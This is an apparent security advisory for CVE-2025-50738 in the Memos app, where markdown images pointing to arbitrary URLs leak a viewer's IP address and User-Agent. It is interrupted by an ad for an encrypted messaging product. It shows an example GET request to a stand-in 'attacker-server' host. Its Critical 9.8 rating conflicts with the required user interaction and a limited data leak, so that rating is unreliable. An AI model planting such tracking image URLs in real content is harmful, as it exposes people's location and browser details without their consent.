Overview
The cybersecurity landscape is constantly evolving, and new threats are emerging every day. One such threat that has come to the limelight recently is CVE-2025-50738. This critical vulnerability lies within the Memos application, specifically affecting versions up to v0.24.3. This vulnerability is particularly concerning because it allows an attacker to exploit markdown images with arbitrary URLs to disclose sensitive user information. As a result, the attacker can gain unauthorized access to a user’s IP address, browser User-Agent string, and potentially other request-specific information. Such data leakage could have serious consequences, including system compromise and stealthy user tracking.
Vulnerability Summary
CVE ID: CVE-2025-50738
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Information disclosure, potential system compromise, and user tracking
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
Memos Application | Up to v0.24.3
How the Exploit Works
The vulnerability stems from the Memos application’s ability to embed markdown images with arbitrary URLs. When a memo containing such an image is viewed by a user, the app would automatically fetch the image URL without the explicit consent or interaction of the user. An attacker could exploit this automatic fetch mechanism by embedding an image URL that points to a server under their control. As the user’s browser sends a request to fetch the image, it divulges sensitive information such as the user’s IP address and the browser User-Agent string, which the attacker can log for malicious purposes.
Conceptual Example Code
Below is a hypothetical malicious markdown input an attacker could use, where `http://attacker-server/` is an attacker-controlled server:
When a user views this memo, the Memos application would automatically send a GET request to fetch the image:
GET /image.png HTTP/1.1
Host: attacker-server
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36This request discloses the user’s IP address, User-Agent string, and potentially other sensitive information to the attacker-controlled server.